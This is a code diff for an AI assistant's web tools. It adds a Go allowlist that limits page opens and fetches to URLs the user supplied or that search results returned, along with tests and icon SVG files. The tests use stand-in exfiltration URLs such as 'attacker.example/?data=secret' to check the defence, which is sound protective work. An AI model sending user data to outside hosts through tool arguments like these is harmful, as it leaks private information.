return nil, "", fmt.Errorf("direct URL open is only allowed for URLs provided by the user")
|
||||
}
|
||||
|
||||
// Page not in cache, need to crawl it
|
||||
if b.crawlPage == nil {
|
||||
b.crawlPage = &BrowserCrawler{}
|
||||
|
||||
@@ -65,6 +65,27 @@ func TestBrowserOpen_UseCacheByURL(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestBrowserOpen_RejectsUncachedDirectURL(t *testing.T) {
|
||||
b := NewBrowser(&responses.BrowserStateData{PageStack: []string{}, ViewTokens: 1024, URLToPage: map[string]*responses.Page{}})
|
||||
bo := NewBrowserOpen(b)
|
||||
|
||||
_, _, err := bo.Execute(t.Context(), map[string]any{"id": "https://attacker.example/?data=secret"})
|
||||
if err == nil || !strings.Contains(err.Error(), "only allowed for URLs provided by the user") {
|
||||
t.Fatalf("expected direct URL rejection, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDirectURLsFromText_AllowsExactUserURLsOnly(t *testing.T) {
|
||||
ctx := WithAllowedDirectURLs(t.Context(), "summarize https://example.com/article?q=1 please")
|
||||
|
||||
if !allowedDirectURL(ctx, "https://example.com/article?q=1") {
|
||||
t.Fatal("expected exact user-provided URL to be allowed")
|
||||
}
|
||||
if allowedDirectURL(ctx, "https://example.com/article?q=secret") {
|
||||
t.Fatal("did not expect modified URL to be allowed")
|
||||
}
|
||||
}
|
||||
|
||||
func TestDisplayPage_InvalidLoc(t *testing.T) {
|
||||
b := NewBrowser(&responses.BrowserStateData{PageStack: []string{}, ViewTokens: 1024, URLToPage: map[string]*responses.Page{}})
|
||||
p := makeTestPage("https://example.com/x")
|
||||
|
||||
@@ -0,0 +1,61 @@
|
||||
//go:build windows || darwin
|
||||
|
||||
package tools
|
||||
|
||||
import (
|
||||
"context"
|
||||
"regexp"
|
||||
"strings"
|
||||
)
|
||||
|
||||
type directURLContextKey struct{}
|
||||
|
||||
var directURLPattern = regexp.MustCompile("https?://[^\\s<>\"'`]+")
|
||||
|
||||
func WithAllowedDirectURLs(ctx context.Context, text string) context.Context {
|
||||
allowed := make(map[string]struct{})
|
||||
for _, match := range directURLPattern.FindAllString(text, -1) {
|
||||
addAllowedDirectURLToMap(allowed, match)
|
||||
}
|
||||
return context.WithValue(ctx, directURLContextKey{}, allowed)
|
||||
}
|
||||
|
||||
func addAllowedDirectURL(ctx context.Context, raw string) {
|
||||
allowed, _ := ctx.Value(directURLContextKey{}).(map[string]struct{})
|
||||
addAllowedDirectURLToMap(allowed, raw)
|
||||
}
|
||||
|
||||
func addAllowedDirectURLToMap(allowed map[string]struct{}, raw string) {
|
||||
if allowed == nil {
|
||||
return
|
||||
}
|
||||
|
||||
raw = cleanDirectURL(raw)
|
||||
if raw == "" {
|
||||
return
|
||||
}
|
||||
|
||||
allowed[raw] = struct{}{}
|
||||
}
|
||||
|
||||
func allowedDirectURL(ctx context.Context, raw string) bool {
|
||||
allowed, _ := ctx.Value(directURLContextKey{}).(map[string]struct{})
|
||||
cleaned := cleanDirectURL(raw)
|
||||
if cleaned == "" || cleaned != raw {
|
||||
return false
|
||||
}
|
||||
|
||||
_, ok := allowed[cleaned]
|
||||
return ok
|
||||
}
|
||||
|
||||
func cleanDirectURL(raw string) string {
|
||||
raw = strings.TrimSpace(raw)
|
||||
raw = strings.TrimRight(raw, ".,;:!?)]}")
|
||||
|
||||
if !strings.HasPrefix(raw, "http://") && !strings.HasPrefix(raw, "https://") {
|
||||
return ""
|
||||
}
|
||||
|
||||
return raw
|
||||
}
|
||||
@@ -0,0 +1,21 @@
|
||||
//go:build windows || darwin
|
||||
|
||||
package tools
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestDirectURLsFromText_RejectsChangedToolArgument(t *testing.T) {
|
||||
ctx := WithAllowedDirectURLs(t.Context(), "summarize https://attacker.example/x")
|
||||
|
||||
if allowedDirectURL(ctx, "https://attacker.example/x!!!!") {
|
||||
t.Fatal("expected changed tool argument to be rejected")
|
||||
}
|
||||
}
|
||||
|
||||
func TestDirectURLsFromText_ExtractsMarkdownCodeSpanURL(t *testing.T) {
|
||||
ctx := WithAllowedDirectURLs(t.Context(), "summarize `https://example.com/privacy`")
|
||||
|
||||
if !allowedDirectURL(ctx, "https://example.com/privacy") {
|
||||
t.Fatal("expected URL wrapped in backticks to be allowed")
|
||||
}
|
||||
}
|
||||
@@ -67,11 +67,17 @@ func (w *WebFetch) Execute(ctx context.Context, args map[string]any) (any, strin
|
||||
if !ok || strings.TrimSpace(urlStr) == "" {
|
||||
return nil, "", fmt.Errorf("url must be a non-empty string")
|
||||
}
|
||||
if !allowedDirectURL(ctx, urlStr) {
|
||||
return nil, "", fmt.Errorf("web fetch is only allowed for URLs provided by the user")
|
||||
}
|
||||
|
||||
result, err := performWebFetch(ctx, urlStr)
|
||||
if err != nil {
|
||||
return nil, "", err
|
||||
}
|
||||
for _, link := range result.Links {
|
||||
addAllowedDirectURL(ctx, link)
|
||||
}
|
||||
|
||||
return result, "", nil
|
||||
}
|
||||
|
||||
@@ -88,6 +88,9 @@ func (w *WebSearch) Execute(ctx context.Context, args map[string]any) (any, stri
|
||||
if err != nil {
|
||||
return nil, "", err
|
||||
}
|
||||
for _, result := range result.Results {
|
||||
addAllowedDirectURL(ctx, result.URL)
|
||||
}
|
||||
|
||||
return result, "", nil
|
||||
}
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
<svg height="1em" style="flex:none;line-height:1" viewBox="0 0 24 24" width="1em" xmlns="http://www.w3.org/2000/svg"><title>Claude Code</title><path clip-rule="evenodd" d="M20.998 10.949H24v3.102h-3v3.028h-1.487V20H18v-2.921h-1.487V20H15v-2.921H9V20H7.488v-2.921H6V20H4.487v-2.921H3V14.05H0V10.95h3V5h17.998v5.949zM6 10.949h1.488V8.102H6v2.847zm10.51 0H18V8.102h-1.49v2.847z" fill="#D97757" fill-rule="evenodd"></path></svg>
|
||||
|
After Width: | Height: | Size: 424 B |
Binary file not shown.
|
After Width: | Height: | Size: 41 KiB |
@@ -0,0 +1 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" fill="currentColor" fill-rule="evenodd" style="flex:none;line-height:1" viewBox="0 2.5 24 19"><path d="M19.245 5.364c1.322 1.36 1.877 3.216 2.11 5.817.622 0 1.2.135 1.592.654l.73.964c.21.278.323.61.323.955v2.62c0 .339-.173.669-.453.868C20.239 19.602 16.157 21.5 12 21.5c-4.6 0-9.205-2.583-11.547-4.258-.28-.2-.452-.53-.453-.868v-2.62c0-.345.113-.679.321-.956l.73-.963c.392-.517.974-.654 1.593-.654l.029-.297c.25-2.446.81-4.213 2.082-5.52 2.461-2.54 5.71-2.851 7.146-2.864h.198c1.436.013 4.685.323 7.146 2.864zm-7.244 4.328c-.284 0-.613.016-.962.05-.123.447-.305.85-.57 1.108-1.05 1.023-2.316 1.18-2.994 1.18-.638 0-1.306-.13-1.851-.464-.516.165-1.012.403-1.044.996a65.882 65.882 0 00-.063 2.884l-.002.48c-.002.563-.005 1.126-.013 1.69.002.326.204.63.51.765 2.482 1.102 4.83 1.657 6.99 1.657 2.156 0 4.504-.555 6.985-1.657a.854.854 0 00.51-.766c.03-1.682.006-3.372-.076-5.053-.031-.596-.528-.83-1.046-.996-.546.333-1.212.464-1.85.464-.677 0-1.942-.157-2.993-1.18-.266-.258-.447-.661-.57-1.108-.32-.032-.64-.049-.96-.05zm-2.525 4.013c.539 0 .976.426.976.95v1.753c0 .525-.437.95-.976.95a.964.964 0 01-.976-.95v-1.752c0-.525.437-.951.976-.951zm5 0c.539 0 .976.426.976.95v1.753c0 .525-.437.95-.976.95a.964.964 0 01-.976-.95v-1.752c0-.525.437-.951.976-.951zM7.635 5.087c-1.05.102-1.935.438-2.385.906-.975 1.037-.765 3.668-.21 4.224.405.394 1.17.657 1.995.657h.09c.649-.013 1.785-.176 2.73-1.11.435-.41.705-1.433.675-2.47-.03-.834-.27-1.52-.63-1.813-.39-.336-1.275-.482-2.265-.394zm6.465.394c-.36.292-.6.98-.63 1.813-.03 1.037.24 2.06.675 2.47.968.957 2.136 1.104 2.776 1.11h.044c.825 0 1.59-.263 1.995-.657.555-.556.765-3.187-.21-4.224-.45-.468-1.335-.804-2.385-.906-.99-.088-1.875.058-2.265.394zM12 7.615c-.24 0-.525.015-.84.044.03.16.045.336.06.526l-.001.159a2.94 2.94 0 01-.014.25c.225-.022.425-.027.612-.028h.366c.187 0 .387.006.612.028-.015-.146-.015-.277-.015-.409.015-.19.03-.365.06-.526a9.29 9.29 0 00-.84-.044z" fill="white"/></svg>
|
||||
|
After Width: | Height: | Size: 1.9 KiB |
@@ -0,0 +1 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" fill="currentColor" fill-rule="evenodd" style="flex:none;line-height:1" viewBox="0 2.5 24 19"><path d="M19.245 5.364c1.322 1.36 1.877 3.216 2.11 5.817.622 0 1.2.135 1.592.654l.73.964c.21.278.323.61.323.955v2.62c0 .339-.173.669-.453.868C20.239 19.602 16.157 21.5 12 21.5c-4.6 0-9.205-2.583-11.547-4.258-.28-.2-.452-.53-.453-.868v-2.62c0-.345.113-.679.321-.956l.73-.963c.392-.517.974-.654 1.593-.654l.029-.297c.25-2.446.81-4.213 2.082-5.52 2.461-2.54 5.71-2.851 7.146-2.864h.198c1.436.013 4.685.323 7.146 2.864zm-7.244 4.328c-.284 0-.613.016-.962.05-.123.447-.305.85-.57 1.108-1.05 1.023-2.316 1.18-2.994 1.18-.638 0-1.306-.13-1.851-.464-.516.165-1.012.403-1.044.996a65.882 65.882 0 00-.063 2.884l-.002.48c-.002.563-.005 1.126-.013 1.69.002.326.204.63.51.765 2.482 1.102 4.83 1.657 6.99 1.657 2.156 0 4.504-.555 6.985-1.657a.854.854 0 00.51-.766c.03-1.682.006-3.372-.076-5.053-.031-.596-.528-.83-1.046-.996-.546.333-1.212.464-1.85.464-.677 0-1.942-.157-2.993-1.18-.266-.258-.447-.661-.57-1.108-.32-.032-.64-.049-.96-.05zm-2.525 4.013c.539 0 .976.426.976.95v1.753c0 .525-.437.95-.976.95a.964.964 0 01-.976-.95v-1.752c0-.525.437-.951.976-.951zm5 0c.539 0 .976.426.976.95v1.753c0 .525-.437.95-.976.95a.964.964 0 01-.976-.95v-1.752c0-.525.437-.951.976-.951zM7.635 5.087c-1.05.102-1.935.438-2.385.906-.975 1.037-.765 3.668-.21 4.224.405.394 1.17.657 1.995.657h.09c.649-.013 1.785-.176 2.73-1.11.435-.41.705-1.433.675-2.47-.03-.834-.27-1.52-.63-1.813-.39-.336-1.275-.482-2.265-.394zm6.465.394c-.36.292-.6.98-.63 1.813-.03 1.037.24 2.06.675 2.47.968.957 2.136 1.104 2.776 1.11h.044c.825 0 1.59-.263 1.995-.657.555-.556.765-3.187-.21-4.224-.45-.468-1.335-.804-2.385-.906-.99-.088-1.875.058-2.265.394zM12 7.615c-.24 0-.525.015-.84.044.03.16.045.336.06.526l-.001.159a2.94 2.94 0 01-.014.25c.225-.022.425-.027.612-.028h.366c.187 0 .387.006.612.028-.015-.146-.015-.277-.015-.409.015-.19.03-.365.06-.526a9.29 9.29 0 00-.84-.044z"/></svg>
|
||||
|
After Width: | Height: | Size: 1.9 KiB |
@@ -0,0 +1,181 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" width="1000" height="1000" viewBox="0 0 1000 1000"><circle cx="500.0" cy="500.0" r="500.0" fill="white"/><g transform="translate(100.0 100.0) scale(0.8333333333333334)"><g transform="translate(0.000000,960.000000) scale(0.100000,-0.100000)"
|
||||
fill="black" stroke="none">
|
||||
<path d="M4485 9589 c-248 -27 -432 -60 -730 -130 -458 -108 -798 -230 -1207
|
||||
-435 -533 -267 -1072 -675 -1358 -1030 -205 -255 -442 -748 -535 -1114 -108
|
||||
-426 -97 -870 29 -1160 73 -169 236 -369 381 -467 139 -94 425 -206 425 -167
|
||||
0 3 -26 32 -58 63 -74 71 -147 182 -184 278 -16 41 -27 77 -25 79 2 3 31 -28
|
||||
63 -68 91 -114 153 -177 231 -235 40 -29 77 -62 83 -73 7 -13 4 -85 -10 -242
|
||||
-10 -123 -24 -281 -30 -353 -6 -71 -29 -296 -51 -500 -135 -1262 -202 -1568
|
||||
-378 -1733 -69 -64 -105 -77 -216 -77 -132 0 -188 20 -271 97 -110 103 -165
|
||||
248 -167 438 -1 123 12 191 60 318 20 51 33 95 29 99 -10 10 -92 -74 -136
|
||||
-137 -153 -223 -204 -504 -146 -790 19 -91 97 -252 161 -333 112 -141 316
|
||||
-237 504 -237 180 0 419 118 591 290 81 81 107 115 196 255 50 78 54 56 13
|
||||
-71 -107 -337 -343 -577 -613 -625 -213 -39 -544 99 -707 295 -93 111 -133
|
||||
199 -173 381 -34 153 -34 154 -46 135 -15 -23 -12 -194 5 -305 42 -280 149
|
||||
-488 327 -636 133 -111 287 -195 465 -254 62 -20 115 -40 117 -44 3 -4 12 -43
|
||||
21 -87 44 -222 199 -385 416 -438 96 -24 265 -21 359 5 138 38 281 148 388
|
||||
297 39 55 48 63 50 45 4 -27 -38 -185 -78 -294 -80 -217 -176 -374 -312 -515
|
||||
-54 -55 -98 -104 -98 -107 0 -4 245 -7 545 -7 l544 0 126 66 c69 36 130 64
|
||||
135 62 6 -2 -10 -28 -34 -59 -46 -59 -48 -69 -10 -69 17 0 32 15 58 59 36 59
|
||||
51 71 87 71 23 0 25 -27 4 -77 -8 -19 -15 -39 -15 -44 0 -12 447 -11 470 1 10
|
||||
5 85 87 168 182 257 297 400 415 317 263 -16 -30 -26 -57 -23 -60 11 -12 210
|
||||
100 383 215 115 76 226 143 375 225 58 32 178 100 266 151 150 87 244 132 244
|
||||
117 0 -4 -78 -86 -174 -182 -207 -208 -246 -254 -334 -386 -48 -71 -122 -157
|
||||
-259 -298 -117 -120 -193 -206 -193 -217 0 -19 8 -20 115 -20 101 0 116 2 122
|
||||
18 19 54 112 249 156 327 124 221 283 436 369 502 87 67 225 152 337 209 103
|
||||
51 297 117 384 130 38 6 29 -2 -92 -75 -74 -45 -170 -107 -214 -139 -106 -76
|
||||
-247 -225 -332 -351 -67 -99 -70 -102 -79 -77 -6 14 -13 26 -18 26 -11 0 -57
|
||||
-75 -94 -155 -63 -136 -124 -376 -103 -401 15 -18 152 -19 166 -2 6 7 18 36
|
||||
27 63 23 72 66 131 217 301 302 339 430 464 590 577 148 104 233 128 520 148
|
||||
205 14 255 9 447 -38 118 -29 183 -65 298 -163 229 -195 538 -577 579 -715 24
|
||||
-83 71 -117 109 -79 9 8 16 27 16 42 0 62 -40 212 -73 277 -158 313 -551 635
|
||||
-922 755 -127 41 -142 55 -52 46 117 -11 231 -35 321 -65 158 -54 259 -123
|
||||
405 -277 164 -174 283 -379 322 -556 11 -51 25 -113 32 -137 36 -128 148 -81
|
||||
117 49 -14 60 -7 106 27 177 36 74 62 94 224 179 254 133 425 260 561 417 272
|
||||
315 403 732 358 1138 -24 218 -84 401 -179 545 -65 98 -155 203 -166 192 -3
|
||||
-3 7 -37 23 -75 136 -309 136 -725 2 -1063 -130 -330 -441 -760 -633 -879 -60
|
||||
-37 -60 -20 2 54 478 577 578 1337 315 2390 -25 99 -86 326 -136 505 -169 611
|
||||
-386 1539 -494 2109 -161 857 -200 998 -442 1606 -161 405 -321 692 -529 950
|
||||
-93 114 -322 343 -433 431 -203 160 -497 332 -737 428 -293 118 -702 220 -978
|
||||
246 -129 12 -406 11 -520 -1z m-267 -214 c301 -47 596 -191 852 -419 85 -76
|
||||
266 -270 345 -371 294 -376 520 -873 640 -1409 45 -199 45 -222 3 -244 -18 -9
|
||||
-45 -30 -61 -45 -25 -23 -28 -33 -23 -60 9 -44 21 -54 121 -98 91 -40 225
|
||||
-124 225 -140 0 -9 -33 5 -211 89 -126 60 -159 94 -167 173 -5 50 14 89 43 89
|
||||
26 0 65 49 65 81 0 52 -22 110 -48 127 -23 15 -37 14 -186 -7 -172 -25 -210
|
||||
-36 -240 -69 -23 -27 -31 -99 -14 -131 16 -29 30 -37 85 -51 26 -7 44 -17 48
|
||||
-29 10 -32 -15 -153 -41 -197 -27 -49 -131 -161 -139 -152 -9 9 36 77 85 126
|
||||
23 24 48 60 56 79 13 31 13 38 -3 71 -10 20 -29 42 -43 48 -14 7 -37 18 -52
|
||||
24 -33 15 -42 39 -63 155 -24 133 -90 393 -135 532 -119 367 -287 686 -483
|
||||
919 -175 208 -434 427 -659 557 -229 131 -498 197 -804 197 -136 0 -185 -4
|
||||
-313 -26 -87 -14 -31 14 137 70 186 61 289 89 437 117 120 23 376 20 543 -6z
|
||||
m2913 -962 c50 -53 113 -138 198 -268 76 -116 60 -104 -41 32 -34 46 -63 81
|
||||
-66 79 -2 -2 2 -30 9 -63 9 -44 9 -86 1 -171 -6 -63 -13 -116 -16 -119 -3 -4
|
||||
-15 2 -26 12 -32 29 -34 12 -5 -57 50 -118 66 -160 62 -164 -2 -2 -29 34 -61
|
||||
81 -31 47 -61 83 -66 80 -6 -4 -7 -24 -4 -47 7 -39 6 -40 -14 -27 -12 7 -25
|
||||
10 -29 5 -17 -17 -4 -106 31 -210 20 -60 35 -111 33 -112 -2 -2 -30 43 -62 99
|
||||
-60 102 -173 233 -182 210 -2 -7 26 -82 62 -168 37 -85 65 -160 63 -166 -2 -6
|
||||
-43 66 -91 160 -63 121 -93 171 -106 171 -9 0 -37 -21 -61 -46 -55 -56 -56
|
||||
-56 -248 20 -78 31 -156 59 -172 63 l-30 6 24 -54 c13 -30 51 -114 85 -188 34
|
||||
-73 60 -135 58 -137 -2 -3 -21 24 -42 58 -56 91 -85 128 -102 128 -13 0 -14
|
||||
-8 -9 -42 l7 -42 -83 80 c-109 106 -163 133 -260 126 -35 -3 -38 0 -53 34 -9
|
||||
21 -13 44 -11 51 7 17 58 16 147 -2 101 -21 104 -17 92 106 -6 52 -7 98 -3
|
||||
102 4 5 25 -20 47 -55 22 -35 47 -68 54 -75 18 -14 278 -83 316 -83 23 0 42
|
||||
13 86 59 61 64 64 72 42 111 -19 33 -19 54 0 46 11 -4 23 6 37 30 l21 35 66
|
||||
-3 66 -3 -2 29 c-1 16 -25 63 -52 105 -28 41 -49 77 -47 78 2 2 47 -42 101
|
||||
-97 75 -76 105 -100 125 -100 14 0 35 -7 47 -15 20 -14 22 -14 27 2 3 10 6 72
|
||||
7 138 2 102 -1 128 -19 175 -12 30 -22 56 -22 58 0 9 40 -22 71 -55z m-2642
|
||||
-139 c29 -35 60 -64 67 -64 8 0 52 27 97 61 l82 60 47 -51 c59 -63 161 -218
|
||||
218 -327 23 -46 48 -83 55 -83 8 0 26 5 41 11 49 18 73 4 104 -64 33 -70 48
|
||||
-127 33 -127 -6 0 -32 9 -58 21 -28 12 -56 18 -71 15 -21 -6 -27 1 -55 56 -67
|
||||
132 -208 340 -244 361 -10 5 -19 -1 -29 -22 -29 -55 -35 -106 -20 -183 8 -40
|
||||
14 -74 14 -75 0 -1 -12 2 -26 8 l-27 10 7 -62 c6 -61 6 -62 -14 -44 -15 14
|
||||
-31 17 -72 13 -58 -6 -88 -32 -88 -76 l0 -26 -29 34 c-29 35 -30 35 -122 38
|
||||
-52 2 -99 8 -106 14 -15 12 -83 132 -83 146 0 6 23 39 50 73 56 70 68 99 52
|
||||
134 -12 27 -15 25 81 46 65 14 68 21 42 105 -26 85 -18 85 54 -2z m-397 -294
|
||||
c84 -126 196 -352 237 -475 33 -99 28 -115 -23 -66 -45 44 -55 29 -49 -77 5
|
||||
-95 -4 -97 -33 -7 -22 67 -52 125 -64 125 -6 0 -10 -39 -11 -92 0 -51 -4 -101
|
||||
-8 -111 -9 -23 -10 -22 -85 101 -32 50 -62 92 -68 92 -7 0 -9 -22 -4 -70 6
|
||||
-74 -3 -90 -24 -40 -21 50 -33 54 -87 30 -26 -11 -57 -30 -69 -41 -20 -19 -21
|
||||
-19 -75 10 -30 17 -91 41 -137 54 -46 13 -89 30 -97 38 -16 16 -45 142 -36
|
||||
157 3 5 58 33 121 61 l114 51 21 -26 21 -26 49 39 c51 40 69 66 80 116 5 23
|
||||
10 28 32 25 19 -2 28 -11 37 -38 37 -115 42 114 6 250 -45 171 -47 164 22 90
|
||||
33 -36 92 -112 130 -170z m-1789 73 c-3 -10 -32 -77 -63 -148 -48 -109 -137
|
||||
-340 -242 -628 -11 -32 -22 -56 -24 -54 -2 2 -9 32 -14 68 -24 141 -20 131
|
||||
-47 124 -13 -3 -50 -18 -81 -33 -43 -20 -62 -37 -79 -67 -32 -59 -40 -65 -88
|
||||
-65 -55 0 -56 6 -16 106 29 75 176 339 194 351 12 7 14 14 -47 -125 -25 -56
|
||||
-46 -113 -46 -127 0 -25 0 -25 35 -11 109 46 179 120 301 316 135 217 241 360
|
||||
217 293z m-869 -35 c-4 -7 -33 -49 -64 -93 -140 -200 -268 -431 -368 -665
|
||||
-114 -268 -153 -314 -74 -86 41 115 44 129 29 137 -28 16 -39 80 -22 128 27
|
||||
77 98 202 139 246 58 61 355 345 362 345 3 0 2 -6 -2 -12z m1415 -533 l1 -130
|
||||
-23 39 c-26 47 -41 51 -45 14 -4 -36 -18 -35 -37 1 -8 17 -19 32 -25 36 -5 3
|
||||
-60 -10 -122 -30 -76 -25 -130 -36 -165 -36 -29 1 -82 -5 -118 -14 -99 -23
|
||||
-109 -21 -149 29 -20 23 -36 50 -36 58 0 12 55 182 75 231 11 27 38 21 147
|
||||
-34 76 -38 108 -49 130 -45 21 4 28 2 28 -9 0 -10 11 -15 34 -15 45 0 153 34
|
||||
177 56 10 9 35 69 55 133 56 180 58 180 65 1 4 -85 7 -213 8 -285z m-1394 272
|
||||
c-31 -55 -32 -83 -2 -91 47 -12 65 -6 97 34 18 23 34 39 36 38 2 -2 -20 -48
|
||||
-48 -102 l-50 -99 33 7 c84 17 149 19 149 5 0 -8 -37 -104 -82 -213 -74 -177
|
||||
-83 -195 -86 -162 -4 50 -26 56 -66 17 -17 -17 -35 -31 -39 -31 -4 0 -7 18 -7
|
||||
40 0 28 -6 43 -18 51 -15 10 -18 21 -14 65 8 93 -18 69 -89 -80 -35 -74 -65
|
||||
-133 -67 -131 -3 2 5 35 17 74 11 38 21 74 21 80 0 6 -35 11 -87 13 l-88 3 3
|
||||
30 c4 42 162 364 187 381 11 8 44 14 76 14 55 0 59 2 93 42 20 23 36 45 36 50
|
||||
0 4 5 8 10 8 6 0 -1 -20 -15 -43z m1710 6 c120 -17 143 -19 164 -12 10 3 21
|
||||
-17 37 -67 24 -77 75 -306 69 -312 -2 -2 -21 14 -43 37 l-39 41 -145 0 c-128
|
||||
0 -148 2 -170 19 -16 13 -29 17 -39 10 -8 -5 -17 -9 -20 -9 -10 0 -66 178 -74
|
||||
232 -4 25 -4 56 0 68 7 21 11 22 79 16 39 -4 121 -14 181 -23z m-79 -988 c74
|
||||
-190 129 -303 247 -514 76 -136 79 -145 62 -157 -24 -17 -76 -18 -98 -1 -21
|
||||
16 -126 237 -165 347 -30 87 -143 516 -141 541 1 19 17 -19 95 -216z m3644 61
|
||||
c64 -163 185 -534 301 -926 66 -223 147 -490 179 -595 175 -566 250 -858 321
|
||||
-1240 22 -121 43 -231 46 -245 4 -18 3 -22 -6 -15 -6 6 -22 71 -36 145 -58
|
||||
313 -100 487 -200 820 -40 135 -94 317 -120 405 -161 550 -413 1387 -465 1540
|
||||
-55 165 -67 205 -56 194 2 -2 18 -39 36 -83z m-4395 -812 c61 -60 129 -118
|
||||
149 -128 46 -22 69 -19 238 25 70 18 130 30 133 27 3 -3 -19 -42 -49 -87 -53
|
||||
-78 -75 -125 -63 -137 14 -14 111 32 205 96 57 38 136 85 176 104 84 40 299
|
||||
116 327 116 12 0 37 -24 66 -65 25 -36 54 -67 62 -69 9 -2 178 -1 376 2 l360
|
||||
7 10 70 c10 68 10 69 22 40 7 -16 17 -49 23 -73 14 -53 18 -55 187 -82 178
|
||||
-28 191 -33 200 -78 12 -57 8 -612 -6 -742 -17 -170 -53 -395 -141 -880 -206
|
||||
-1142 -248 -1540 -194 -1863 8 -49 12 -97 9 -107 -8 -24 -195 -200 -213 -200
|
||||
-7 0 -21 14 -30 31 -140 256 -353 528 -467 594 -66 39 -95 39 -361 1 -137 -19
|
||||
-303 -40 -368 -47 -128 -12 -307 -7 -368 11 -54 16 -140 78 -185 132 -41 51
|
||||
-348 610 -438 801 -105 220 -178 478 -191 667 -7 97 11 328 25 343 5 5 23 -17
|
||||
41 -49 18 -32 72 -97 125 -148 54 -53 97 -104 101 -120 12 -50 -1 -119 -34
|
||||
-170 -22 -33 -32 -62 -32 -88 0 -45 31 -126 70 -182 23 -35 28 -50 23 -82 -3
|
||||
-24 4 -70 17 -119 18 -68 28 -87 68 -128 59 -60 118 -101 132 -92 6 4 10 18 8
|
||||
32 -3 22 3 28 48 44 28 11 59 28 70 40 l18 20 -107 -7 c-118 -8 -146 0 -166
|
||||
43 -17 37 -14 52 18 84 33 33 78 41 66 12 -14 -31 -16 -77 -5 -93 9 -13 14
|
||||
-11 36 14 21 24 25 37 21 68 -5 37 -4 38 36 49 56 15 192 6 242 -15 l40 -17
|
||||
-27 -20 c-66 -49 -1 -50 120 -2 80 31 92 40 92 64 0 33 -30 52 -72 45 -33 -5
|
||||
-51 1 -140 49 -226 121 -267 139 -327 139 -31 1 -68 -3 -83 -8 -24 -7 -32 -3
|
||||
-62 30 -62 67 -63 76 -30 145 53 111 38 151 -110 308 -88 93 -131 162 -142
|
||||
230 -11 67 0 84 99 164 142 113 222 232 261 384 46 178 -18 329 -188 441 -74
|
||||
48 -75 49 -51 60 35 16 31 28 -20 64 -31 22 -41 34 -32 40 21 14 168 59 252
|
||||
77 67 15 80 21 83 39 2 12 -33 92 -82 187 -100 193 -117 263 -35 144 28 -41
|
||||
102 -124 164 -185z m-430 -364 c-13 -21 19 -51 100 -97 78 -43 142 -93 119
|
||||
-93 -5 0 -34 7 -64 15 -69 19 -148 19 -180 0 -24 -14 -24 -14 21 -15 63 0 238
|
||||
-37 267 -56 24 -16 42 -52 42 -85 0 -17 -8 -14 -57 24 -92 71 -138 91 -213 90
|
||||
-36 0 -85 -8 -109 -17 -55 -20 -64 -14 -103 71 -37 82 -36 104 4 127 60 36
|
||||
190 63 173 36z m4328 -154 c76 -37 148 -103 127 -116 -27 -17 -107 -10 -174
|
||||
15 -91 34 -212 35 -310 1 -55 -19 -76 -22 -100 -14 -17 5 -37 12 -45 14 -17 6
|
||||
18 45 66 75 76 47 131 59 258 57 109 -3 125 -6 178 -32z m-4293 -282 c3 -28
|
||||
11 -58 17 -66 7 -8 12 -30 12 -49 -1 -40 10 -72 46 -128 33 -53 32 -67 -5 -80
|
||||
-78 -27 -118 37 -133 210 -10 105 -9 120 7 144 27 42 50 29 56 -31z m-53 -438
|
||||
c-4 -9 -11 -16 -17 -16 -11 0 -14 33 -3 44 11 10 26 -11 20 -28z m449 -922
|
||||
c60 -20 62 -23 44 -34 -23 -15 -104 -12 -126 5 -19 15 -19 15 0 30 24 18 22
|
||||
19 82 -1z m5843 -211 c82 -179 180 -472 218 -653 34 -160 38 -387 10 -517 -37
|
||||
-172 -107 -345 -191 -471 -81 -122 -215 -266 -232 -249 -2 2 10 37 27 78 188
|
||||
447 261 1077 185 1584 -15 98 -31 196 -35 217 -10 44 0 50 18 11z m-2689 -313
|
||||
c25 -333 24 -319 22 -342 -1 -10 -66 -56 -164 -115 -175 -106 -203 -121 -196
|
||||
-101 3 7 26 81 53 163 39 124 214 633 241 699 15 37 22 -12 44 -304z m110
|
||||
-832 c37 -172 37 -173 -56 -257 -80 -73 -143 -103 -230 -109 -105 -7 -132 9
|
||||
-183 108 -53 101 -53 132 -3 177 21 19 126 88 233 153 182 111 194 117 201 97
|
||||
3 -12 20 -88 38 -169z m-1046 -650 c67 -151 141 -236 331 -383 138 -106 239
|
||||
-173 309 -204 42 -18 47 -23 36 -36 -7 -9 -110 -81 -229 -160 -178 -118 -251
|
||||
-161 -416 -238 -110 -51 -250 -117 -312 -147 -62 -29 -118 -50 -126 -47 -7 3
|
||||
-24 34 -36 69 -28 77 -74 158 -252 445 -75 122 -140 231 -144 242 -6 19 -2 21
|
||||
42 21 63 0 171 24 230 50 35 15 99 72 238 209 182 180 271 261 285 261 4 0 24
|
||||
-37 44 -82z m-2387 -88 c-10 -81 -64 -284 -102 -378 -55 -136 -119 -238 -204
|
||||
-323 -108 -107 -162 -132 -306 -137 -109 -4 -111 -3 -175 30 -42 22 -76 48
|
||||
-98 78 l-35 45 114 7 c338 22 478 105 645 383 29 50 70 131 89 180 49 124 67
|
||||
165 73 165 3 0 2 -22 -1 -50z m1647 -1402 c-54 -78 -300 -358 -315 -358 -16 0
|
||||
-10 15 29 76 113 173 323 408 330 370 2 -10 -18 -49 -44 -88z"/>
|
||||
<path d="M3229 5845 c-108 -15 -150 -30 -198 -71 -49 -41 -111 -123 -111 -146
|
||||
0 -18 5 -20 40 -15 22 3 40 3 40 1 0 -2 -9 -26 -20 -53 -12 -32 -16 -52 -9
|
||||
-56 9 -6 7 -23 -8 -62 -3 -8 4 -13 20 -13 16 0 26 -7 30 -20 8 -30 33 -24 48
|
||||
12 15 37 122 148 142 148 12 0 11 -10 0 -56 -17 -66 -10 -118 17 -137 15 -11
|
||||
19 -21 14 -44 -5 -25 2 -39 44 -90 28 -33 66 -67 85 -76 39 -19 112 -22 152
|
||||
-7 39 15 108 74 140 121 27 38 28 41 13 72 -15 32 -15 34 8 54 13 12 24 33 24
|
||||
47 l0 25 38 -17 c58 -26 111 -62 122 -81 6 -13 3 -29 -11 -57 -98 -186 -404
|
||||
-264 -685 -174 -101 32 -143 37 -162 18 -21 -21 -13 -28 31 -28 49 0 82 -19
|
||||
